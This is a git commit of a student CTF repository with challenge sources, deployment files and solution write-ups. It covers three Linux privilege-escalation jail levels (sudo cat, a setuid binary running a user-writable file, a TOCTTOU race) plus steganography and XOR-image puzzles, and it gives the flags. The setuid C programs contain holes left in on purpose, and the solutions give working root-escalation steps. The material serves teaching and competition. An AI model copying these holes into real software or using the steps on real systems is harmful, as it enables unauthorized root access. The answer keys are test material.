commit 0ac8165900b035af6e8ebfc2541b3217be99c07b Author: Robbe De Greef Date: Thu Nov 24 22:59:22 2022 +0100 initial commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..29968fc --- /dev/null +++ b/README.md @@ -0,0 +1,5 @@ +# IGCTF writeups 2022-2023 + +You can find all the challenges here in these folders. Each challenge folder *should* contain a `SOLUTION.md` that contains a (possible) solution for the challenge. + +Have fun! diff --git a/break-from-the-jail/HowToDeploy.md b/break-from-the-jail/HowToDeploy.md new file mode 100644 index 0000000..b739063 --- /dev/null +++ b/break-from-the-jail/HowToDeploy.md @@ -0,0 +1,9 @@ +CONCRETELY: +scp -r src debian@51.210.158.3:/home/debian +ssh debian@51.210.158.3 +sudo mv src/* / +sudo apt update -y && sudo apt install -y lib32z1 xinetd docker-compose.plugin +chmod +x /start.sh +chmod +x /run.sh +sudo mv /ctf.xinetd /etc/xinetd.d/ctf +sudo systemctl restart xinetd \ No newline at end of file diff --git a/break-from-the-jail/README.md b/break-from-the-jail/README.md new file mode 100644 index 0000000..b00bdec --- /dev/null +++ b/break-from-the-jail/README.md @@ -0,0 +1,12 @@ +# Break From Jail + +**This challenge is a work in progress** + +This challenge consists of three parts. +This README file contains the generic information for all three parts (how to deploy). + +The text is different for each of the levels. + +## How to Deploy + +Docker image should be deployed using xinetd, so that each tcp connection to the deployed port creates a new instance of the docker container, the command that should be run by xinetd is in `start.sh`. diff --git a/break-from-the-jail/level-1/README.md b/break-from-the-jail/level-1/README.md new file mode 100644 index 0000000..4cb9a7f --- /dev/null +++ b/break-from-the-jail/level-1/README.md @@ -0,0 +1,28 @@ +# Hack the Jail - Part 1 + +## Text + +We somehow got access to this remote system +**INSERT REMOTE IP + PORT HERE**, but we only managed to get access to the "ig" user. + +Your task is to get root access and read the flag. + +Connect using: + +```bash +nc INSERT REMOTE IP + PORT HERE +``` + +## Extra hints if no solves + +* Make me a sandwhich. +(almost gives it away) +* They keep saying I should use visudo, but I don't want to use Vi! + +## Files + +None + +## How to deploy + +As described in parent README. diff --git a/break-from-the-jail/level-1/SOLUTION.md b/break-from-the-jail/level-1/SOLUTION.md new file mode 100644 index 0000000..6472f7e --- /dev/null +++ b/break-from-the-jail/level-1/SOLUTION.md @@ -0,0 +1,29 @@ +# Hack the Jail - Part 1 + +## Difficulty + +Very easy, but the participant needs to know about "sudo", which might be unknown for Linux novices. + +## How To Solve + +![](https://imgs.xkcd.com/comics/sandwich.png) + +If something says "permission denied" on Linux, try with `sudo`. In this case the `/etc/sudoers` file seems to contain a peculiar line related to the currently executing user `ig`. It states the following: + +``` +ig ALL = NOPASSWD: /bin/cat +``` + +This means that the `ig` user is allowed to execute the `/bin/cat` binary with elavated permissions without using a password. + +Therefore executing: + +``` +sudo cat /flag.txt +``` + +reveals the flag. + +## Flag + +IGCTF{ASimpleVisudoCanDoGreatDamage1} diff --git a/break-from-the-jail/level-1/src/ctf.xinetd b/break-from-the-jail/level-1/src/ctf.xinetd new file mode 100644 index 0000000..7c91f07 --- /dev/null +++ b/break-from-the-jail/level-1/src/ctf.xinetd @@ -0,0 +1,20 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = root + type = UNLISTED + port = 3000 + bind = 0.0.0.0 + server = /home/debian/src/run.sh + banner_fail = /etc/banner_fail + # safety options + per_source = 10 # the maximum instances of this service per source IP address + rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + log_type = SYSLOG authpriv + log_on_success = HOST PID + log_on_failure = HOST +} diff --git a/break-from-the-jail/level-1/src/run.sh b/break-from-the-jail/level-1/src/run.sh new file mode 100755 index 0000000..4da9aaa --- /dev/null +++ b/break-from-the-jail/level-1/src/run.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +docker run --rm -i challenge \ No newline at end of file diff --git a/break-from-the-jail/level-1/src/src/Dockerfile b/break-from-the-jail/level-1/src/src/Dockerfile new file mode 100644 index 0000000..3e34577 --- /dev/null +++ b/break-from-the-jail/level-1/src/src/Dockerfile @@ -0,0 +1,13 @@ +FROM alpine + +RUN adduser -D -H ig && mkdir /home/ig && chown -R ig:ig /home/ig +RUN apk update && \ + apk add sudo busybox + +COPY sudoers /etc/sudoers +COPY flag.txt /flag.txt + +RUN chmod 400 /flag.txt + +USER ig +CMD ["busybox", "sh"] diff --git a/break-from-the-jail/level-1/src/src/flag.txt b/break-from-the-jail/level-1/src/src/flag.txt new file mode 100644 index 0000000..554daef --- /dev/null +++ b/break-from-the-jail/level-1/src/src/flag.txt @@ -0,0 +1 @@ +IGCTF{ASimpleVisudoCanDoGreatDamage1} diff --git a/break-from-the-jail/level-1/src/src/sudoers b/break-from-the-jail/level-1/src/src/sudoers new file mode 100644 index 0000000..049d92b --- /dev/null +++ b/break-from-the-jail/level-1/src/src/sudoers @@ -0,0 +1 @@ +ig ALL = NOPASSWD: /bin/cat diff --git a/break-from-the-jail/level-1/src/start.sh b/break-from-the-jail/level-1/src/start.sh new file mode 100755 index 0000000..f010d51 --- /dev/null +++ b/break-from-the-jail/level-1/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +/etc/init.d/xinetd start; +sleep infinity; diff --git a/break-from-the-jail/level-2/README.md b/break-from-the-jail/level-2/README.md new file mode 100644 index 0000000..5d9dd09 --- /dev/null +++ b/break-from-the-jail/level-2/README.md @@ -0,0 +1,15 @@ +# Hack the Jail - Part 2 + +## Text + +The saga continues... We got access to another system but the previous hack does not seem to work anymore. +The compromised user `ig` has two executable files in its home directory, `execute` and `hello_world`, strangely the former is owned by root... + +## Files + +* bin/execute +* bin/hello_world + +## How to deploy + +See README of the parent. diff --git a/break-from-the-jail/level-2/SOLUTION.md b/break-from-the-jail/level-2/SOLUTION.md new file mode 100644 index 0000000..ef2a02c --- /dev/null +++ b/break-from-the-jail/level-2/SOLUTION.md @@ -0,0 +1,114 @@ +# Hack the Jail - Part 2 + +## Difficulty + +Moderate - the participant needs to know about the `setuid` bit, and needs to reverse engineer the binary using a tool such as Ghidra to gain more insight. + +## How To Solve + + +### Connecting to the challenge + +When connecting to the challenge's IP and port we get access to a shell running as the `ig` user. + +``` +bash5.1$ whoami +ig +``` + +The flag is still on `/flag.txt`, trying to read it results in a permission denied error as the file is only readable by `root`. + +``` +bash-5.1$ cat /flag.txt +cat: can't open '/flag.txt': Permission denied +``` + +Unfortunately, our luck of last time has run out, a simple `sudo cat /flag.txt` does not seem to work anymore. +In fact, `sudo` is not even installed. Let's move on to see what is inside of our home directory. + +We notice that it contains two files (which were listed on the CTF platform in binary format as well): + +* execute: a binary that is owned by root and has the following permissions: -rwsr-sr-x +* hello_world: a binary owned by the IG user that has the following permissions: -rwxr-xr-x + +Comparing the two types of permissions, we notice that the `execute` binary has a special permission called `s`. +This indicates that the binary has the `setuid` capability, which means that it is able to change the user it is running as **during its execution**. We will come back to this later, as we will first reverse engineer both binaries. + +### Reverse Engineering the Binaries + + +#### Hello World + +Importing the `hello_world` program into Ghidra reveals that it indeed is a simple `hello_world` program: + +``` + +undefined8 main(void) + +{ + puts("Hello World"); + return 0; +} + +``` + +Nothing to see here. + +##### The "execute" program + +The `execute` program is far more interesting: + +``` + +undefined8 main(void) + +{ + long in_FS_OFFSET; + char *local_20; + char *local_18; + long local_10; + + local_10 = *(long *)(in_FS_OFFSET + 0x28); + local_20 = (char *)0x0; + local_18 = (char *)0x0; + setuid(0); + execve("./hello_world",&local_20,&local_18); + puts("Could not execute program"); + perror("execve"); + if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; +} +``` + +Ignoring all memory allocations on top of the `main` function, we notice that the program first ensures that it is running as root. It can accomplish this by changing the user id it is running as using the `setuid` function. Typically, the user id `0` corresponds to the `root` or `superuser` of the system. + +Note that this call would fail if the `setuid` capability bit was not set, because the `ig` user does not have permission to change the running user to `root`. + +After it has changed the user it is running as, it replaces itself with the `hello_world` binary using the `execve` function. + +## The Attack + +Since the `hello_world` binary is owned by the `ig` user, we also have permission to change it. +Here we could change it to something that is able to read the `/flag.txt` file (using a bash script or another compiled C program). However, the easiest solution is to replace the binary with a shell, such that we can obtain a shell as the `root` user. + +``` +$ rm hello_world +$ ln -s /bin/bash hello_world +``` + +Running `execute` again results in a `root` shell! + +``` +bash5.1$ ./execute +bash5.1$ whoami +root +bash5.1$ cat /flag.txt +IGCTF{S3tUid?B3C4refulWith1t!} +``` + +## Flag + +IGCTF{S3tUid?B3C4refulWith1t!} diff --git a/break-from-the-jail/level-2/src/ctf.xinetd b/break-from-the-jail/level-2/src/ctf.xinetd new file mode 100644 index 0000000..7c91f07 --- /dev/null +++ b/break-from-the-jail/level-2/src/ctf.xinetd @@ -0,0 +1,20 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = root + type = UNLISTED + port = 3000 + bind = 0.0.0.0 + server = /home/debian/src/run.sh + banner_fail = /etc/banner_fail + # safety options + per_source = 10 # the maximum instances of this service per source IP address + rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + log_type = SYSLOG authpriv + log_on_success = HOST PID + log_on_failure = HOST +} diff --git a/break-from-the-jail/level-2/src/run.sh b/break-from-the-jail/level-2/src/run.sh new file mode 100755 index 0000000..4da9aaa --- /dev/null +++ b/break-from-the-jail/level-2/src/run.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +docker run --rm -i challenge \ No newline at end of file diff --git a/break-from-the-jail/level-2/src/src/Dockerfile b/break-from-the-jail/level-2/src/src/Dockerfile new file mode 100644 index 0000000..0e31df0 --- /dev/null +++ b/break-from-the-jail/level-2/src/src/Dockerfile @@ -0,0 +1,25 @@ +FROM alpine + +RUN adduser -D -H ig && mkdir /home/ig && chown -R ig:ig /home/ig + +RUN apk --no-cache add bash gcc musl-dev + +COPY src/ /src +WORKDIR /src +RUN gcc hello_world.c -o /home/ig/hello_world && \ + gcc execute.c -o /home/ig/execute + +# Now set the evil setuid bits + +RUN chmod +s /home/ig/execute +RUN chown ig:ig /home/ig/hello_world + +WORKDIR /home/ig +RUN apk del gcc musl-dev && \ + rm -rf /src + +COPY flag.txt /flag.txt +RUN chmod 0400 /flag.txt + +USER ig +CMD ["bash"] diff --git a/break-from-the-jail/level-2/src/src/bin/execute b/break-from-the-jail/level-2/src/src/bin/execute new file mode 100755 index 0000000..ad93e53 Binary files /dev/null and b/break-from-the-jail/level-2/src/src/bin/execute differ diff --git a/break-from-the-jail/level-2/src/src/bin/hello_world b/break-from-the-jail/level-2/src/src/bin/hello_world new file mode 100755 index 0000000..c5ea56e Binary files /dev/null and b/break-from-the-jail/level-2/src/src/bin/hello_world differ diff --git a/break-from-the-jail/level-2/src/src/flag.txt b/break-from-the-jail/level-2/src/src/flag.txt new file mode 100644 index 0000000..14e7d3a --- /dev/null +++ b/break-from-the-jail/level-2/src/src/flag.txt @@ -0,0 +1 @@ +IGCTF{S3tUid?B3C4refulWith1t!} diff --git a/break-from-the-jail/level-2/src/src/src/execute.c b/break-from-the-jail/level-2/src/src/src/execute.c new file mode 100644 index 0000000..48aaa9b --- /dev/null +++ b/break-from-the-jail/level-2/src/src/src/execute.c @@ -0,0 +1,15 @@ +#include +#include +#include + +int main(int argc, char **argv) { + char *newargv[] = {NULL}; + char *newenv[] = {NULL}; + + setuid(0); + + int i = execve("./hello_world", newargv, newenv); + printf("Could not execute program\n"); + perror("execve"); + return EXIT_SUCCESS; +} diff --git a/break-from-the-jail/level-2/src/src/src/hello_world.c b/break-from-the-jail/level-2/src/src/src/hello_world.c new file mode 100644 index 0000000..ddea878 --- /dev/null +++ b/break-from-the-jail/level-2/src/src/src/hello_world.c @@ -0,0 +1,7 @@ +#include +#include + +int main(int argc, char** argv) { + printf("Hello World\n"); + return EXIT_SUCCESS; +} diff --git a/break-from-the-jail/level-2/src/start.sh b/break-from-the-jail/level-2/src/start.sh new file mode 100755 index 0000000..f010d51 --- /dev/null +++ b/break-from-the-jail/level-2/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +/etc/init.d/xinetd start; +sleep infinity; diff --git a/break-from-the-jail/level-3/README.md b/break-from-the-jail/level-3/README.md new file mode 100644 index 0000000..499260f --- /dev/null +++ b/break-from-the-jail/level-3/README.md @@ -0,0 +1,15 @@ +# Hack the Jail - Part 2 + +## Text + +The sysadmins have caught up with us, the files are the same but the previous attack won't work anymore. +Can you figure out why and gain us access once again? + +## Files + +* bin/execute +* bin/hello_world.sh + +## How to deploy + +See README of the parent. diff --git a/break-from-the-jail/level-3/SOLUTION.md b/break-from-the-jail/level-3/SOLUTION.md new file mode 100644 index 0000000..77494af --- /dev/null +++ b/break-from-the-jail/level-3/SOLUTION.md @@ -0,0 +1,43 @@ +# Hack the Jail - Part 2 + +## Difficulty + +Hard. + +## How To solve + +The key insight of this challenge is that the file is opened twice: once for checking whether +the MD5sum matches the expected value, and the second time for actually executing the file. + +This type of vulnerabity is called a "Time-of-check to time-of-use" or in short a TOCTTOU attack. +The challenge contains an artificially long timeout to be able to exploit this vulnerabity more easily. + +The script below performs the actual attack: + + +```bash +#!/bin/bash + +# run the vulnerable program in the backgrouncd +./execute & +# make sure that the check has been performed +sleep 1 +# then replace the program with our malicious program +mv hello_world.sh hello_world.sh.old +cp read.sh hello_world.sh +# wait until the "execute" program has finished. +sleep 8 +# clean up +rm hello_world.sh +mv hello_world.sh.old hello_world.sh +``` + +The contents of the `read.sh` file are as follows: + +``` +#!/bin/bash + +cat /flag.txt +``` + +Both files need to have executable permissions which can be obtained using `chmod +x *.sh`. diff --git a/break-from-the-jail/level-3/src/ctf.xinetd b/break-from-the-jail/level-3/src/ctf.xinetd new file mode 100644 index 0000000..7c91f07 --- /dev/null +++ b/break-from-the-jail/level-3/src/ctf.xinetd @@ -0,0 +1,20 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = root + type = UNLISTED + port = 3000 + bind = 0.0.0.0 + server = /home/debian/src/run.sh + banner_fail = /etc/banner_fail + # safety options + per_source = 10 # the maximum instances of this service per source IP address + rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + log_type = SYSLOG authpriv + log_on_success = HOST PID + log_on_failure = HOST +} diff --git a/break-from-the-jail/level-3/src/run.sh b/break-from-the-jail/level-3/src/run.sh new file mode 100755 index 0000000..4da9aaa --- /dev/null +++ b/break-from-the-jail/level-3/src/run.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +docker run --rm -i challenge \ No newline at end of file diff --git a/break-from-the-jail/level-3/src/src/Dockerfile b/break-from-the-jail/level-3/src/src/Dockerfile new file mode 100644 index 0000000..6cea037 --- /dev/null +++ b/break-from-the-jail/level-3/src/src/Dockerfile @@ -0,0 +1,26 @@ +FROM alpine + +RUN adduser -D -H ig && mkdir /home/ig && chown -R ig:ig /home/ig + +RUN apk --no-cache add bash gcc musl-dev openssl openssl-dev nano + +COPY src/ /src +WORKDIR /src +RUN gcc execute.c -o /home/ig/execute -lssl -lcrypto +RUN cp hello_world.sh /home/ig/hello_world.sh + +# Now set the evil setuid bits + +RUN chown ig:ig /home/ig/hello_world.sh + +WORKDIR /home/ig +RUN apk del gcc musl-dev && \ + rm -rf /src + +COPY flag.txt /flag.txt +RUN chmod 0400 /flag.txt +RUN chmod 745 /home/ig/execute +RUN chmod +s /home/ig/execute + +USER ig +CMD ["bash"] diff --git a/break-from-the-jail/level-3/src/src/bin/execute b/break-from-the-jail/level-3/src/src/bin/execute new file mode 100644 index 0000000..6a635b6 --- /dev/null +++ b/break-from-the-jail/level-3/src/src/bin/execute @@ -0,0 +1,49 @@ +#include +#include +#include +#include +#include + +int check_hash(char* filename, char* correct_hash) { + unsigned char h[MD5_DIGEST_LENGTH]; + FILE *inFile = fopen(filename, "rb"); + MD5_CTX mdContext; + int bytes; + unsigned char data[1024]; + + if (inFile == NULL) { + return 0; + } + + MD5_Init(&mdContext); + while ((bytes = fread(data, 1, 1024, inFile)) != 0) + MD5_Update(&mdContext, data, bytes); + MD5_Final(h, &mdContext); + + char final_cmp[MD5_DIGEST_LENGTH * 2]; + char *p = final_cmp; + for(int i = 0; i < MD5_DIGEST_LENGTH; i++) { + sprintf(p, "%02x", h[i]); + p = p + 2; + } + + return strcmp(correct_hash, final_cmp) == 0; +} + +int main() { + char filename[] = "hello_world.sh"; + char correct_hash[] = "aa42f09c74acc950e59fb909d03d32f2"; + + if (check_hash(filename, correct_hash)) { + char* newargv[] = {NULL}; + char* newenv[] = {NULL}; + sleep(3); + setuid(0); + int i = execve("./hello_world.sh", newargv, newenv); + printf("could not execute program\n"); + perror("execve"); + return EXIT_SUCCESS; + } else { + printf("Invalid hash, will not execute"); + } +} diff --git a/break-from-the-jail/level-3/src/src/bin/hello_world.sh b/break-from-the-jail/level-3/src/src/bin/hello_world.sh new file mode 100755 index 0000000..05b79ed --- /dev/null +++ b/break-from-the-jail/level-3/src/src/bin/hello_world.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +echo "Hello World" diff --git a/break-from-the-jail/level-3/src/src/flag.txt b/break-from-the-jail/level-3/src/src/flag.txt new file mode 100644 index 0000000..5713d45 --- /dev/null +++ b/break-from-the-jail/level-3/src/src/flag.txt @@ -0,0 +1 @@ +IGCTF{Th0s3N4styT1mingAttackWillK1llM3} diff --git a/break-from-the-jail/level-3/src/src/src/execute.c b/break-from-the-jail/level-3/src/src/src/execute.c new file mode 100644 index 0000000..6a635b6 --- /dev/null +++ b/break-from-the-jail/level-3/src/src/src/execute.c @@ -0,0 +1,49 @@ +#include +#include +#include +#include +#include + +int check_hash(char* filename, char* correct_hash) { + unsigned char h[MD5_DIGEST_LENGTH]; + FILE *inFile = fopen(filename, "rb"); + MD5_CTX mdContext; + int bytes; + unsigned char data[1024]; + + if (inFile == NULL) { + return 0; + } + + MD5_Init(&mdContext); + while ((bytes = fread(data, 1, 1024, inFile)) != 0) + MD5_Update(&mdContext, data, bytes); + MD5_Final(h, &mdContext); + + char final_cmp[MD5_DIGEST_LENGTH * 2]; + char *p = final_cmp; + for(int i = 0; i < MD5_DIGEST_LENGTH; i++) { + sprintf(p, "%02x", h[i]); + p = p + 2; + } + + return strcmp(correct_hash, final_cmp) == 0; +} + +int main() { + char filename[] = "hello_world.sh"; + char correct_hash[] = "aa42f09c74acc950e59fb909d03d32f2"; + + if (check_hash(filename, correct_hash)) { + char* newargv[] = {NULL}; + char* newenv[] = {NULL}; + sleep(3); + setuid(0); + int i = execve("./hello_world.sh", newargv, newenv); + printf("could not execute program\n"); + perror("execve"); + return EXIT_SUCCESS; + } else { + printf("Invalid hash, will not execute"); + } +} diff --git a/break-from-the-jail/level-3/src/src/src/hello_world.sh b/break-from-the-jail/level-3/src/src/src/hello_world.sh new file mode 100755 index 0000000..05b79ed --- /dev/null +++ b/break-from-the-jail/level-3/src/src/src/hello_world.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +echo "Hello World" diff --git a/break-from-the-jail/level-3/src/src/src/run b/break-from-the-jail/level-3/src/src/src/run new file mode 100755 index 0000000..821f3fb Binary files /dev/null and b/break-from-the-jail/level-3/src/src/src/run differ diff --git a/break-from-the-jail/level-3/src/src/src/run.o b/break-from-the-jail/level-3/src/src/src/run.o new file mode 100644 index 0000000..398f32c Binary files /dev/null and b/break-from-the-jail/level-3/src/src/src/run.o differ diff --git a/break-from-the-jail/level-3/src/start.sh b/break-from-the-jail/level-3/src/start.sh new file mode 100755 index 0000000..f010d51 --- /dev/null +++ b/break-from-the-jail/level-3/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +/etc/init.d/xinetd start; +sleep infinity; diff --git a/cool_capybara/README.md b/cool_capybara/README.md new file mode 100644 index 0000000..acb0d33 --- /dev/null +++ b/cool_capybara/README.md @@ -0,0 +1,7 @@ +# Cool Capybara +## Text +I like capybara's. They're cute. Do you know what a capybara is? In case you don't, I have included a file with some information and a nice little picture :) +## Files +The Capybara.pdf +## How to Deploy +N/A \ No newline at end of file diff --git a/cool_capybara/SOLUTION.md b/cool_capybara/SOLUTION.md new file mode 100644 index 0000000..a07172a --- /dev/null +++ b/cool_capybara/SOLUTION.md @@ -0,0 +1,6 @@ +## Difficulty +Easy - it's simply some hidden binary. +## How To Solve +Underneath the Capybara ASCII art, I've added some extra lines of symbols. If you replace the ⠾ by a 0 and the ⢿ by a 1, you will get the flag in binary. +## Flag +IGCTF{!araBypaC} \ No newline at end of file diff --git a/cool_capybara/The Capybara.docx b/cool_capybara/The Capybara.docx new file mode 100644 index 0000000..5eb7f5d Binary files /dev/null and b/cool_capybara/The Capybara.docx differ diff --git a/cool_capybara/The Capybara.pdf b/cool_capybara/The Capybara.pdf new file mode 100644 index 0000000..4b64457 Binary files /dev/null and b/cool_capybara/The Capybara.pdf differ diff --git a/corrupted-encryption/CHANGELOG.md b/corrupted-encryption/CHANGELOG.md new file mode 100644 index 0000000..7e859a3 --- /dev/null +++ b/corrupted-encryption/CHANGELOG.md @@ -0,0 +1,5 @@ +# Revision history for corrupted-encryption + +## 0.1.0.0 -- YYYY-mm-dd + +* First version. Released on an unsuspecting world. diff --git a/corrupted-encryption/README.md b/corrupted-encryption/README.md new file mode 100644 index 0000000..ff05875 --- /dev/null +++ b/corrupted-encryption/README.md @@ -0,0 +1,16 @@ +# Corrupted Encryption + +## Text +I'm not much for this competitive hacking, so if I could I would have just given you the flag for this challenge. The problem is that the file on which I kept the flag was encrypted, but because of some syncing issues with my cloud, the encryption key got lost and the file can no longer be decrypted. Luckily I backed up the encryption key... but that backup is situated in the file itself... + +The best course of action you can take now is to maybe figure out what the file type was and to go from there... + +Oh, also, yes stupid me added an additional layer of encoding for the flag so you'll have to break through that too :) + +Notice: There is a secret second flag hidden somewhere :o + +## Files +Participants get the `ctf flag (CONFLICTED COPY 2022-07-12)` provided, nothing else. + +## How to Deploy +N/A \ No newline at end of file diff --git a/corrupted-encryption/SOLUTION.md b/corrupted-encryption/SOLUTION.md new file mode 100644 index 0000000..eaa7717 --- /dev/null +++ b/corrupted-encryption/SOLUTION.md @@ -0,0 +1,11 @@ +## Difficulty +Medium to hard. Users need to use a combination of forensics, encryption and encoding skills + +## How To Solve +The file is a JPG image. Opening the JPG image reveals some information, in particular the encryption key, because the image is actually encrypted in the CBC encryption algorithm. CBC encrypts a file by partitioning it into blocks, and applying the key to each block using XOR. Since you have the file, and you have the key, as well as the partition length (being 8 pixels), you can xor the 2 hex values for the red, green and blue value of each of the 8 pixels (resulting in a hex number of length 48) with the encryption key (which is also a hex number of 48 characters long). Decrypting the image reveals the correct image, including the correct colors that were used to encode the flag with. These colors need to be converted to their hexidecimal values and be used as ascii values. Every color encodes 3 ascii characters. + +The secret flag is just the encryption key. Converting it to ascii yields the secret flag + +## Flag +Main flag: IGCTF{WhatYouJustDidIsCalledCBC!} +Secret flag: IGCTF{ThisTheSecretFlag} \ No newline at end of file diff --git a/corrupted-encryption/app/Main.hs b/corrupted-encryption/app/Main.hs new file mode 100644 index 0000000..a29762b --- /dev/null +++ b/corrupted-encryption/app/Main.hs @@ -0,0 +1,50 @@ +module Main where + +import Prelude as P +import Graphics.Image +import Graphics.Image.Interface as I +import Graphics.Image.ColorSpace as C +import Data.Bits +import Data.Strings +import Text.XML.HXT.DOM.Util +import Data.List.Split + +segmentation = 8 +seed = "49474354467B54686973546865536563726574466C61677D" +main :: IO () +main = do + rawImage <- readImageRGB VU "./original_gimped.jpg" + let (width, height) = dims rawImage + let segmented = segment rawImage + let xorred = xorColor segmented + let newImage = segmentToImage xorred height + ret <- writeImage "./output.jpg" newImage + return ret + +segment :: Image VU RGB Double -> [[Pixel RGB Double]] +segment image = reverse $ I.foldl + (\(head:tail) -> \val -> + if length head < segmentation + then (val:head):tail + else [val]:(reverse head):tail + ) [[]] image + +xorColor :: [[Pixel RGB Double]] -> [[Pixel RGB Double]] +xorColor segments = P.map (\pixels -> P.zipWith doXorring [0..] pixels) segments + +doXorring :: Int -> Pixel RGB Double -> Pixel RGB Double +doXorring index pixel@(PixelRGB red green blue) = + let step = index * 6 + seedPartRed = hexStringToInt $ strDrop(step) $ strTake(step + 2) seed + seedPartGreen = hexStringToInt $ strDrop(step + 2) $ strTake(step + 4) seed + seedPartBlue = hexStringToInt $ strDrop(step + 4) $ strTake(step + 4) seed + redHex = round $ red * 255 :: Int + greenHex = round $ green * 255 :: Int + blueHex = round $ blue * 255 :: Int + xorRed = (fromIntegral (redHex `xor` seedPartRed)) / 255 + xorGreen = (fromIntegral (greenHex `xor` seedPartGreen)) / 255 + xorBlue = (fromIntegral (blueHex `xor` seedPartBlue)) / 255 + in PixelRGB xorRed xorGreen xorBlue + +segmentToImage :: [[Pixel RGB Double]] -> Int -> Image VU RGB Double +segmentToImage segments width = fromLists (chunksOf width (concat segments)) \ No newline at end of file diff --git a/corrupted-encryption/corrupted-encryption.cabal b/corrupted-encryption/corrupted-encryption.cabal new file mode 100644 index 0000000..1ee6f16 --- /dev/null +++ b/corrupted-encryption/corrupted-encryption.cabal @@ -0,0 +1,34 @@ +cabal-version: 2.4 +name: corrupted-encryption +version: 0.1.0.0 + +-- A short (one-line) description of the package. +-- synopsis: + +-- A longer description of the package. +-- description: + +-- A URL where users can report bugs. +-- bug-reports: + +-- The license under which the package is released. +-- license: +author: Nicolas Mattelaer +maintainer: nmattela@infogroep.be + +-- A copyright notice. +-- copyright: +-- category: +extra-source-files: CHANGELOG.md + +executable corrupted-encryption + main-is: Main.hs + + -- Modules included in this executable, other than Main. + -- other-modules: + + -- LANGUAGE extensions used by modules in this package. + -- other-extensions: + build-depends: base ^>=4.15.1.0, hip, hxt, strings, split + hs-source-dirs: app + default-language: Haskell2010 diff --git a/corrupted-encryption/ctf flag (CONFLICTED COPY 2022-07-12) b/corrupted-encryption/ctf flag (CONFLICTED COPY 2022-07-12) new file mode 100644 index 0000000..0650f75 Binary files /dev/null and b/corrupted-encryption/ctf flag (CONFLICTED COPY 2022-07-12) differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/Paths_corrupted_encryption.hs b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/Paths_corrupted_encryption.hs new file mode 100644 index 0000000..ea7ab6a --- /dev/null +++ b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/Paths_corrupted_encryption.hs @@ -0,0 +1,51 @@ +{-# LANGUAGE CPP #-} +{-# LANGUAGE NoRebindableSyntax #-} +{-# OPTIONS_GHC -fno-warn-missing-import-lists #-} +{-# OPTIONS_GHC -Wno-missing-safe-haskell-mode #-} +module Paths_corrupted_encryption ( + version, + getBinDir, getLibDir, getDynLibDir, getDataDir, getLibexecDir, + getDataFileName, getSysconfDir + ) where + +import qualified Control.Exception as Exception +import Data.Version (Version(..)) +import System.Environment (getEnv) +import Prelude + +#if defined(VERSION_base) + +#if MIN_VERSION_base(4,0,0) +catchIO :: IO a -> (Exception.IOException -> IO a) -> IO a +#else +catchIO :: IO a -> (Exception.Exception -> IO a) -> IO a +#endif + +#else +catchIO :: IO a -> (Exception.IOException -> IO a) -> IO a +#endif +catchIO = Exception.catch + +version :: Version +version = Version [0,1,0,0] [] +bindir, libdir, dynlibdir, datadir, libexecdir, sysconfdir :: FilePath + +bindir = "/home/nico/.cabal/bin" +libdir = "/home/nico/.cabal/lib/x86_64-linux-ghc-9.0.2/corrupted-encryption-0.1.0.0-inplace-corrupted-encryption" +dynlibdir = "/home/nico/.cabal/lib/x86_64-linux-ghc-9.0.2" +datadir = "/home/nico/.cabal/share/x86_64-linux-ghc-9.0.2/corrupted-encryption-0.1.0.0" +libexecdir = "/home/nico/.cabal/libexec/x86_64-linux-ghc-9.0.2/corrupted-encryption-0.1.0.0" +sysconfdir = "/home/nico/.cabal/etc" + +getBinDir, getLibDir, getDynLibDir, getDataDir, getLibexecDir, getSysconfDir :: IO FilePath +getBinDir = catchIO (getEnv "corrupted_encryption_bindir") (\_ -> return bindir) +getLibDir = catchIO (getEnv "corrupted_encryption_libdir") (\_ -> return libdir) +getDynLibDir = catchIO (getEnv "corrupted_encryption_dynlibdir") (\_ -> return dynlibdir) +getDataDir = catchIO (getEnv "corrupted_encryption_datadir") (\_ -> return datadir) +getLibexecDir = catchIO (getEnv "corrupted_encryption_libexecdir") (\_ -> return libexecdir) +getSysconfDir = catchIO (getEnv "corrupted_encryption_sysconfdir") (\_ -> return sysconfdir) + +getDataFileName :: FilePath -> IO FilePath +getDataFileName name = do + dir <- getDataDir + return (dir ++ "/" ++ name) diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/cabal_macros.h b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/cabal_macros.h new file mode 100644 index 0000000..296620d --- /dev/null +++ b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/autogen/cabal_macros.h @@ -0,0 +1,160 @@ +/* DO NOT EDIT: This file is automatically generated by Cabal */ + +/* package corrupted-encryption-0.1.0.0 */ +#ifndef VERSION_corrupted_encryption +#define VERSION_corrupted_encryption 